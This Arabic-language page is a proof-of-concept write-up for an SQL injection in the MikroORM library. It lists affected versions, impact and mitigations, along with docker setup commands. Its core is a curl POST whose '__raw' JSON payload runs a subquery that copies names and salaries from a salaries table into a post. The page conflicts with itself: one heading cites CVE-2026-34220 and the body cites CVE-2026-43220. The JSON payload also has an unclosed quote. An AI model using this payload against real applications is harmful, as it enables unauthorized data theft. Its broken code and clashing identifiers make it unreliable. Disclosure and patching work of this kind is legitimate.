العودة إلى التحديثات
UpdatedSep 2, 2026

CVE-2026-34220 — Updated!

ثغرة حقن SQL في MikroORM

مشاركة

CVE-2026-43220 حقن SQL في MikroORM

★ إثبات مفهوم حقن SQL في MikroORM CVE-2026-43220 ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


نظرة عامة

CVE-2026-43220 هو ثغرة حقن SQL في MikroORM، وهو إطار عمل ORM شائع الاستخدام في TypeScript/Node.js.
عندما يتم تمرير قيمة مقدمة من المستخدم تحتوي على خاصية __raw إلى عمود Custom Type دون التحقق منها، يتعرف فحص isRaw() في MikroORM عليها كتعبير Raw SQL داخلي موثوق ويُدرج قيمة sql التي يتحكم بها المهاجم مباشرةً في الاستعلام المُولَّد دون تحويل النوع أو تعقيمه، مما يؤدي إلى تنفيذ غير مقصود لأوامر SQL عشوائية.


الإصدارات المتأثرة

الفئةالإصدار
معرّض للثغرةMikroORM الإصدار ≤ 6.4.3 و 7.0.0 ≤ الإصدار ≤ 7.0.5
مُصحَّحMikroORM 6.4.4 و 7.0.6

التأثير

  • تسريب بيانات حساسة من قاعدة البيانات دون تصريح
  • إفساد أو تعديل غير مقصود لسجلات قاعدة البيانات الموجودة

البيئة

docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

إثبات المفهوم

بعد تشغيل البيئة المعرّضة للثغرة، اتبع الخطوات أدناه لإعادة إنتاج الهجوم.

الخطوة 1. إرسال طلب يحتوي على حمولة خبيثة تتضمن __raw

أرسل جسم JSON يتضمن خاصية __raw تستهدف عمود Custom Type.

curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

الخطوة 2. التحقق من استجابة HTTP

تحقق من أن واجهة API تُرجع استجابة ناجحة دون أي خطأ، مما يشير إلى أن MikroORM قبلت الحمولة الخبيثة كقيمة صالحة.

الخطوة 3. تأكيد تسريب البيانات الحساسة إلى محتوى المنشور

تحقق من أن حقل content للمنشور المُنشأ يحتوي على نتيجة الاستعلام من جدول salaries (على سبيل المثال، Alice: 5000 / Bob: 7000 / ...)، مما يؤكد أن بيانات من جدول غير ذي صلة قد تم تضمينها بصمت في الاستجابة دون أي خطأ أو انتهاك لضوابط الوصول.


التخفيف

  • الترقية إلى MikroORM 6.4.4 أو أحدث، والذي يقدم التحقق من المصدر في isRaw() لرفض خصائص __raw المقدمة من الخارج
  • تطبيق التحقق من المدخلات القائم على القائمة البيضاء لرفض الخصائص غير المتوقعة مثل __raw قبل تمرير القيم إلى طبقة ORM

التحليل

الفئات